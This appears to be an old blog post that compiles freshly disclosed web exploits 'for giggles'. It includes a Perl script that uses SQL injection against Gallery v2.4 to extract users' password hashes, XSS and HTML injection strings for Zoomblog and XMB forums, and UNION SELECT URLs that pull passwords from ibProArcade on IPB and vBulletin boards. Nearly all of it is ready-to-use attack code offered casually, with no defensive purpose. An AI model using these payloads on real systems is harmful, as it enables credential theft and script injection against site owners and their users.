For giggles, I am including all of the SQL/HTML injection exploits that have been discovered in the past day or two.

Gallery v2.4 SQL Injection

#!/bin/env perl
use LWP::Simple;

if(!$ARGV[0] or !$ARGV[1]) {
print "\n== Warning ABDUCTER Behind U ==";
print "\nUsage:\nperl $0 [host+script]\n\nExample:\nperl $0 http://tonioc.free.fr/gallery/ 1\n";
exit(0);
}

$url = "/showGallery.php?galid=-1%20UNION%20SELECT%20id,null,null,passw,null,ni
ck,null,null,null,null,nick,null%20FROM%20users%20WHERE%20id=$ARGV[1]/*" ;
$page = get($ARGV[0].$url) die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<SPAN class="strong"><b>(.*?)<\/b>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

Zoomblog HTML Injection

NOTE: according to RBA, this injection bug was fixed even before the issue was reported. HISTORIC: Zoomblog is prone to HTML injection attacks. It is possible for a malicious Zoomblog user to inject hostile HTML and script code into the commentary via form fields. This code may be rendered in the browser of a web user who views the commentary of Zoomblog. Zoomblog does not adequately filter HTML tags from various fields. This may enable an attacker to inject arbitrary script code into pages that are generated by the Zoomblog.

All versions are vulnerable.

EXPLOIT #!:
Write <script>alert('test')</script> in http://blog.zoomblog/comments/

EXPOIT #2:
<img src='javascript:void(0);' alt='' height=888888 width=888885 border=0>

For a how-to on Javascript Injection, visit Javascript Injection in this blog.

Cross Site Scripting HTML Injection in XMB

This is Xss in the old versions and html injection in the new versions of xmb forums ..

injected file: u2u.php

Example is:
u2u.php?action=send&username=Html Injection OR XSS

SQL injection in ibProArcade.

It was tested and found perfectly working under vBulettin or Invision power board.
Date:2005-11-5

The injection is here:
module=report&user=[userid]
Query: 'SELECT name FROM ibf_members WHERE id=[userid]'

Exploit IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]

Exploit vBulettin forums:
index.php?act=ibProArcade&amp;module=report&user=-1 union select password from user where userid=[any_user]

And there you have it. All of the SQL/HTML/JAVASCRIPT injections found today.